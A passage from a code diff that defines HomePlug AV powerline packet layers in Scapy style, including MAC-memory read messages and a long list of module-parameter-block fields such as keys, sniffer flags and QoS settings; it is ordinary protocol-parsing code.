ByteField("BitLoadingEstim", 0), + BitField("ToneMapIndex", 0, size=5), + BitField("NumberofSymbols", 0, size=2), + BitField("PHYblockSize", 0, size=1), + XShortField("FrameLength", 0x0000), + XByteField("ReversegrandLength", 0x0), + BitField("RequestSACKtrans", 0, size=1), + BitField("DataMACstreamCMD", 0, size=3), + BitField("ManNACFrameStreamCMD", 0, size=3), + BitField("reserved_1", 0, size=6), + BitField("MultinetBroadcast", 0, size=1), + BitField("DifferentCPPHYclock", 0, size=1), + BitField("Multicast", 0, size=1), + X3BytesField("FrameControlCheckSeq", 0x000000), + XByteField("ShortNetworkID_", 0x0), + IntField("BeaconTimestamp", 0), + XShortField("BeaconTransOffset_0", 0x0000), + XShortField("BeaconTransOffset_1", 0x0000), + XShortField("BeaconTransOffset_2", 0x0000), + XShortField("BeaconTransOffset_3", 0x0000), + X3BytesField("FrameContrchkSeq", 0x000000)] + +###################################################################### +# Read MAC Memory +##################################################################### + + +class ReadMACMemoryRequest(Packet): + name = "ReadMACMemoryRequest" + fields_desc = [LEIntField("Address", 0x00000000), + LEIntField("Length", 0x00000400), + ] + + +ReadMACStatus = {0x00: "Success", + 0x10: "Invalid Address", + 0x14: "Invalid Length"} + + +class ReadMACMemoryConfirmation(Packet): + name = "ReadMACMemoryConfirmation" + + fields_desc = [ByteEnumField("Status", 0x00, ReadMACStatus), + LEIntField("Address", 0), + FieldLenField("MACLen", None, length_of="MACData", fmt="= pkt.__offset and 0x2 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_1", 0x0000), + lambda pkt:(0x2 >= pkt.__offset and 0x4 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("PIBLength", 0x0000), + lambda pkt:(0x4 >= pkt.__offset and 0x6 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_2", 0x0000), + lambda pkt:(0x6 >= pkt.__offset and 0x8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("checksumPIB", None), + lambda pkt:(0x8 >= pkt.__offset and 0xC <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(MACField("PIBMACAddr", "00:00:00:00:00:00"), + lambda pkt:(0xC >= pkt.__offset and 0x12 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("DAK", + b"\x00" * 16, + 16), + lambda pkt:(0x12 >= pkt.__offset and 0x22 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_3", 0x0000), + lambda pkt:(0x22 >= pkt.__offset and 0x24 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("ManufactorID", + b"\x00" * 64, + 64), + lambda pkt:(0x24 >= pkt.__offset and 0x64 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("NMK", + b"\x00" * 16, + 16), + lambda pkt:(0x64 >= pkt.__offset and 0x74 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("UserID", + b"\x00" * 64, + 64), + lambda pkt:(0x74 >= pkt.__offset and 0xB4 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("AVLN_ID", + b"\x00" * 64, + 64), + lambda pkt:(0xB4 >= pkt.__offset and 0xF4 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("CCoSelection", 0x00), + lambda pkt:(0xF4 >= pkt.__offset and 0xF5 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("CoExistSelection", 0x00), + lambda pkt:(0xF5 >= pkt.__offset and 0xF6 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PLFreqSelection", 0x00), + lambda pkt:(0xF6 >= pkt.__offset and 0xF7 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("H3CDowngradeShld", 0x00), + lambda pkt:(0xF7 >= pkt.__offset and 0xF8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("PreferredNID", + b"\x00" * 7, + 7), + lambda pkt:(0xF8 >= pkt.__offset and 0xFF <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("AutoFWUpgradeable", 0x00), + lambda pkt:(0xFF >= pkt.__offset and 0x100 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("MDUConfiguration", 0x00), + lambda pkt:(0x100 >= pkt.__offset and 0x101 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("MDURole", 0x00), + lambda pkt:(0x101 >= pkt.__offset and 0x102 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("SnifferEnabled", 0x00), + lambda pkt:(0x102 >= pkt.__offset and 0x103 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(MACField("SnifferMACAddrRetrn", "00:00:00:00:00:00"), + lambda pkt:(0x103 >= pkt.__offset and 0x109 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("WireTapEnable", 0x00), + lambda pkt:(0x109 >= pkt.__offset and 0x10A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_4", 0x0000), + lambda pkt:(0x10A >= pkt.__offset and 0x10C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("StaticNetworkEnabled", 0x00), + lambda pkt:(0x10C >= pkt.__offset and 0x10D <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("LD_TEI", 0x00), + lambda pkt:(0x10D >= pkt.__offset and 0x10E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(MACField("CCo_MACAdd", "00:00:00:00:00:00"), + lambda pkt:(0x10E >= pkt.__offset and 0x114 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("SNID", 0x00), + lambda pkt:(0x114 >= pkt.__offset and 0x115 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("NumOfPeerNodes", 0x00), + lambda pkt:(0x115 >= pkt.__offset and 0x116 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("PeerNodes", "", PeerNode, length_from=lambda x: 56), # noqa: E501 + lambda pkt:(0x116 >= pkt.__offset and 0x11C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_5", + b"\x00" * 62, + 62), + lambda pkt:(0x146 >= pkt.__offset and 0x14e <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverideModeDefaults", 0x00), + lambda pkt:(0x18C >= pkt.__offset and 0x18D <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("DisableFlowControl", 0x00), + lambda pkt:(0x18D >= pkt.__offset and 0x18E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("AdvertisementCapabilities", 0x00), + lambda pkt:(0x18E >= pkt.__offset and 0x18F <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverrideMeteringDefaults", 0x00), + lambda pkt:(0x18F >= pkt.__offset and 0x190 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("MaxFramesPerSec", 0), + lambda pkt:(0x190 >= pkt.__offset and 0x194 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("DisableAutoNegotiation", 0x00), + lambda pkt:(0x194 >= pkt.__offset and 0x195 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnetSpeedSetting", 0x00), + lambda pkt:(0x195 >= pkt.__offset and 0x196 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnetDuplexSetting", 0x00), + lambda pkt:(0x196 >= pkt.__offset and 0x197 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("DisableTxFlowControl", 0x00), + lambda pkt:(0x197 >= pkt.__offset and 0x198 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("DisableRxFlowControl", 0x00), + lambda pkt:(0x198 >= pkt.__offset and 0x199 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PhyAddressSelection", 0x00), + lambda pkt:(0x199 >= pkt.__offset and 0x19A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PhyAddressSelection_Data", 0x00), + lambda pkt:(0x19A >= pkt.__offset and 0x19B <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("reserved_6", 0x00), + lambda pkt:(0x19B >= pkt.__offset and 0x19C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("Force33MHz", 0x00), + lambda pkt:(0x19C >= pkt.__offset and 0x19D <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("LinkStatusOnPowerline", 0x00), + lambda pkt:(0x19D >= pkt.__offset and 0x19E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverrideIdDefaults", 0x00), + lambda pkt:(0x19E >= pkt.__offset and 0x19F <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverrideSubIdDefaults", 0x00), + lambda pkt:(0x19F >= pkt.__offset and 0x1A0 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("PCIDeviceID", 0x0000), + lambda pkt:(0x1A0 >= pkt.__offset and 0x1A2 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("PCIVendorID", 0x0000), + lambda pkt:(0x1A2 >= pkt.__offset and 0x1A4 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("reserved_7", 0x00), + lambda pkt:(0x1A4 >= pkt.__offset and 0x1A5 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PCIClassCode", 0x00), + lambda pkt:(0x1A5 >= pkt.__offset and 0x1A6 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PCIClassCodeSubClass", 0x00), + lambda pkt:(0x1A6 >= pkt.__offset and 0x1A7 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PCIRevisionID", 0x00), + lambda pkt:(0x1A7 >= pkt.__offset and 0x1A8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("PCISubsystemID", 0x0000), + lambda pkt:(0x1A8 >= pkt.__offset and 0x1AA <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("PCISybsystemVendorID", 0x0000), + lambda pkt:(0x1AA >= pkt.__offset and 0x1AC <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_8", + b"\x00" * 64, + 64), + lambda pkt:(0x1AC >= pkt.__offset and 0x1EC <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverrideIGMPDefaults", 0x00), + lambda pkt:(0x1EC >= pkt.__offset and 0x1ED <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ConfigFlags", 0x00), + lambda pkt:(0x1ED >= pkt.__offset and 0x1EE <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("NumCpToSend_PLFrames", 0x00), + lambda pkt:(0x1EE >= pkt.__offset and 0x1EF <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_9", + b"\x00" * 29, + 29), + lambda pkt:(0x1EF >= pkt.__offset and 0x20C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("UniCastPriority", 0x00), + lambda pkt:(0x20C >= pkt.__offset and 0x20D <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("McastPriority", 0x00), + lambda pkt:(0x20D >= pkt.__offset and 0x20E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("IGMPPriority", 0x00), + lambda pkt:(0x20E >= pkt.__offset and 0x20F <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("AVStreamPriority", 0x00), + lambda pkt:(0x20F >= pkt.__offset and 0x210 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("PriorityTTL_0", 0), + lambda pkt:(0x210 >= pkt.__offset and 0x214 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("PriorityTTL_1", 0), + lambda pkt:(0x214 >= pkt.__offset and 0x218 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("PriorityTTL_2", 0), + lambda pkt:(0x218 >= pkt.__offset and 0x21C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("PriorityTTL_3", 0), + lambda pkt:(0x21C >= pkt.__offset and 0x220 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnableVLANOver", 0x00), + lambda pkt:(0x220 >= pkt.__offset and 0x221 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnableTOSOver", 0x00), + lambda pkt:(0x221 >= pkt.__offset and 0x222 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_10", 0x0000), + lambda pkt:(0x222 >= pkt.__offset and 0x224 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("VLANPrioTOSPrecMatrix", 0), + lambda pkt:(0x224 >= pkt.__offset and 0x228 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("NumClassifierPriorityMaps", 0), + lambda pkt:(0x228 >= pkt.__offset and 0x22C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("NumAutoConnections", 0), + lambda pkt:(0x22C >= pkt.__offset and 0x230 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("ClassifierPriorityMaps", "", ClassifierPriorityMap, length_from=lambda x: 224), # noqa: E501 + lambda pkt:(0x230 >= pkt.__offset and 0x244 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("AutoConnections", "", AutoConnection, length_from=lambda x: 1600), # noqa: E501 + lambda pkt:(0x310 >= pkt.__offset and 0x36e <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("NumberOfConfigEntries", 0x00), + lambda pkt:(0x950 >= pkt.__offset and 0x951 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("AggregateConfigEntries", "", AggregateConfigEntrie, length_from=lambda x: 16), # noqa: E501 + lambda pkt:(0x951 >= pkt.__offset and 0x961 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("RSVD_CustomAggregationParameters", "", RSVD_CustomAggregationParameter, length_from=lambda x: 48), # noqa: E501 + lambda pkt:(0x961 >= pkt.__offset and 0x991 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_11", + b"\x00" * 123, + 123), + lambda pkt:(0x991 >= pkt.__offset and 0xA0C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("ToneMaskType", 0), + lambda pkt:(0xA0C >= pkt.__offset and 0xA10 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("ToneMaskEnabled", 0), + lambda pkt:(0xA10 >= pkt.__offset and 0xA14 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("StartTone", 0), + lambda pkt:(0xA14 >= pkt.__offset and 0xA18 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("EndTone", 0), + lambda pkt:(0xA18 >= pkt.__offset and 0xA1C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_12", + b"\x00" * 12, + 12), + lambda pkt:(0xA1C >= pkt.__offset and 0xA28 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("PsdIndex", 0), + lambda pkt:(0xA28 >= pkt.__offset and 0xA2C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("TxPrescalerType", 0), + lambda pkt:(0xA2C >= pkt.__offset and 0xA30 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("PrescalerValues", "", PrescalerValue, length_from=lambda x: 3600), # noqa: E501 + lambda pkt:(0xA30 >= pkt.__offset and 0xA34 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_13", + b"\x00" * 1484, + 1484), + lambda pkt:(0x1840 >= pkt.__offset and 0x1E0C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("AllowNEKRotation", 0), + lambda pkt:(0x1E0C >= pkt.__offset and 0x1E10 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("OverrideLocalNEK", 0), + lambda pkt:(0x1E10 >= pkt.__offset and 0x1E14 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("LocalNEKToUse", + b"\x00" * 16, + 16), + lambda pkt:(0x1E14 >= pkt.__offset and 0x1E24 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("OverrideNEKRotationTimer", 0), + lambda pkt:(0x1E24 >= pkt.__offset and 0x1E28 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("NEKRotationTime_Min", 0), + lambda pkt:(0x1E28 >= pkt.__offset and 0x1E2C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_14", + b"\x00" * 96, + 96), + lambda pkt:(0x1E2C >= pkt.__offset and 0x1E8C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("AVLNMembership", 0), + lambda pkt:(0x1E8C >= pkt.__offset and 0x1E90 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("SimpleConnectTimeout", 0), + lambda pkt:(0x1E90 >= pkt.__offset and 0x1E94 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnableLEDThroughputIndicate", 0), + lambda pkt:(0x1E94 >= pkt.__offset and 0x1E95 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("MidLEDThroughputThreshold_Mbps", 0), + lambda pkt:(0x1E95 >= pkt.__offset and 0x1E96 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("HighLEDThroughputThreshold_Mbps", 0), + lambda pkt:(0x1E96 >= pkt.__offset and 0x1E97 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("reserved_15", 0), + lambda pkt:(0x1E97 >= pkt.__offset and 0x1E98 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnableUnicastQuieriesToMember", 0), + lambda pkt:(0x1E98 >= pkt.__offset and 0x1E99 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("DisableMLDGroupIDCheckInMAC", 0), + lambda pkt:(0x1E99 >= pkt.__offset and 0x1E9A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("EnableReportsToNonQuerierHosts", 0), + lambda pkt:(0x1E9A >= pkt.__offset and 0x1E9C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("DisableExpireGroupMembershipInterval", 0), + lambda pkt:(0x1E9C >= pkt.__offset and 0x1EA0 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("DisableLEDTestLights", 0), + lambda pkt:(0x1EA0 >= pkt.__offset and 0x1EA4 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("GPIOMaps", "", GPIOMap, length_from=lambda x: 12), # noqa: E501 + lambda pkt:(0x1EA4 >= pkt.__offset and 0x1EB0 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XLongField("reserved_16", 0), + lambda pkt:(0x1EB0 >= pkt.__offset and 0x1EB8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnableTrafficClass_DSCPOver", 0), + lambda pkt:(0x1EB8 >= pkt.__offset and 0x1EB9 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("TrafficClass_DSCPMatrices", + b"\x00" * 64, + 64), + lambda pkt:(0x1EB9 >= pkt.__offset and 0x1EF9 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("GPIOControl", 0), + lambda pkt:(0x1EF9 >= pkt.__offset and 0x1EFA <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("LEDControl", + b"\x00" * 32, + 32), + lambda pkt:(0x1EFA >= pkt.__offset and 0x1F1A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("OverrideMinButtonPressHoldTime", 0), + lambda pkt:(0x1F1A >= pkt.__offset and 0x1F1E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("MinButtonPressHoldTime", 0), + lambda pkt:(0x1F1E >= pkt.__offset and 0x1F22 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_17", + b"\x00" * 22, + 22), + lambda pkt:(0x1F22 >= pkt.__offset and 0x1F38 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("MemoryProfile", 0), + lambda pkt:(0x1F38 >= pkt.__offset and 0x1F3C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("DisableAllLEDFlashOnWarmReboot", 0), + lambda pkt:(0x1F3C >= pkt.__offset and 0x1F40 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("UplinkLimit_bps", 0), + lambda pkt:(0x1F40 >= pkt.__offset and 0x1F44 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("DownlinkLimit_bps", 0), + lambda pkt:(0x1F44 >= pkt.__offset and 0x1F48 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("MDUStaticSNID", 0), + lambda pkt:(0x1F48 >= pkt.__offset and 0x1F4C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("MitigateEnabled", 0), + lambda pkt:(0x1F4C >= pkt.__offset and 0x1F4D <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("CorrelThreshold", 0), + lambda pkt:(0x1F4D >= pkt.__offset and 0x1F51 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("ScaledTxGain", 0), + lambda pkt:(0x1F51 >= pkt.__offset and 0x1F55 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ResourceThresholdEnabled", 0), + lambda pkt:(0x1F55 >= pkt.__offset and 0x1F56 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("ReservedPercentageForCaps", "", ReservedPercentageForCap, length_from=lambda x: 4), # noqa: E501 + lambda pkt:(0x1F56 >= pkt.__offset and 0x1F5A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PowerSavingMode", 0), + lambda pkt:(0x1F5A >= pkt.__offset and 0x1F5B <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PowerLEDDutyCycle", 0), + lambda pkt:(0x1F5B >= pkt.__offset and 0x1F5C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_18", 0), + lambda pkt:(0x1F5C >= pkt.__offset and 0x1F5E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("LinkUpDurationBeforeReset_ms", 0), + lambda pkt:(0x1F5E >= pkt.__offset and 0x1F62 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("PowerLEDPeriod_ms", 0), + lambda pkt:(0x1F62 >= pkt.__offset and 0x1F66 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("LinkDownDurationBeforeLowPowerMode_ms", 0), # noqa: E501 + lambda pkt:(0x1F66 >= pkt.__offset and 0x1F6A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("reserved_19", 0), + lambda pkt:(0x1F6A >= pkt.__offset and 0x1F6E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("AfeGainBusMode", 0), + lambda pkt:(0x1F6E >= pkt.__offset and 0x1F6F <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("EnableDynamicPsd", 0), + lambda pkt:(0x1F6F >= pkt.__offset and 0x1F70 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ReservedPercentageForTxStreams", 0), + lambda pkt:(0x1F70 >= pkt.__offset and 0x1F71 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ReservedPercentageForRxStreams", 0), + lambda pkt:(0x1F71 >= pkt.__offset and 0x1F72 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_20", + b"\x00" * 22, + 22), + lambda pkt:(0x1F72 >= pkt.__offset and 0x1F88 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("LegacyNetworkUpgradeEnable", 0), + lambda pkt:(0x1F88 >= pkt.__offset and 0x1F8C <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("unknown", 0), + lambda pkt:(0x1F8C >= pkt.__offset and 0x1F90 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("MMETTL_us", 0), + lambda pkt:(0x1F90 >= pkt.__offset and 0x1F94 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("ConfigBits", "", ConfigBit, length_from=lambda x: 2), # noqa: E501 + lambda pkt:(0x1F94 >= pkt.__offset and 0x1F96 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("TxToneMapExpiry_ms", 0), + lambda pkt:(0x1F96 >= pkt.__offset and 0x1F9A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("RxToneMapExpiry_ms", 0), + lambda pkt:(0x1F9A >= pkt.__offset and 0x1F9E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("TimeoutToResound_ms", 0), + lambda pkt:(0x1F9E >= pkt.__offset and 0x1FA2 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("MissingSackThresholdForUnplugDetection", 0), # noqa: E501 + lambda pkt:(0x1FA2 >= pkt.__offset and 0x1FA6 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(LEIntField("UnplugTimeout_ms", 0), + lambda pkt:(0x1FA6 >= pkt.__offset and 0x1FAA <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("ContentionWindowTableES", "", ContentionWindowTable, length_from=lambda x: 8), # noqa: E501 + lambda pkt:(0x1FAA >= pkt.__offset and 0x1FB2 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("BackoffDeferalCountTableES", "", BackoffDeferalCountTable, length_from=lambda x: 4), # noqa: E501 + lambda pkt:(0x1FB2 >= pkt.__offset and 0x1FB6 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("GoodSoundCountThreshold", 0), + lambda pkt:(0x1FB6 >= pkt.__offset and 0x1FB7 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountPass", 0), # noqa: E501 + lambda pkt:(0x1FB7 >= pkt.__offset and 0x1FB8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountFail", 0), # noqa: E501 + lambda pkt:(0x1FB8 >= pkt.__offset and 0x1FB9 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("reserved_21", 0), + lambda pkt:(0x1FB9 >= pkt.__offset and 0x1FBB <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ExclusiveTxPbs_percentage", 0), + lambda pkt:(0x1FBB >= pkt.__offset and 0x1FBC <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ExclusiveRxPbs_percentage", 0), + lambda pkt:(0x1FBC >= pkt.__offset and 0x1FBD <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OptimizationBackwardCompatible", 0), + lambda pkt:(0x1FBD >= pkt.__offset and 0x1FBE <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("reserved_21", 0), + lambda pkt:(0x1FBE >= pkt.__offset and 0x1FBF <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("MaxPbsPerSymbol", 0), + lambda pkt:(0x1FBF >= pkt.__offset and 0x1FC0 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("MaxModulation", 0), + lambda pkt:(0x1FC0 >= pkt.__offset and 0x1FC1 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ContinuousRx", 0), + lambda pkt:(0x1FC1 >= pkt.__offset and 0x1FC2 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_22", + b"\x00" * 6, + 6), + lambda pkt:(0x1FC2 >= pkt.__offset and 0x1FC8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("PBControlStatus", 0), + lambda pkt:(0x1FC8 >= pkt.__offset and 0x1FC9 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("STAMembershipMaskEnabled", 0), + lambda pkt:(0x1FC9 >= pkt.__offset and 0x1FCA <= 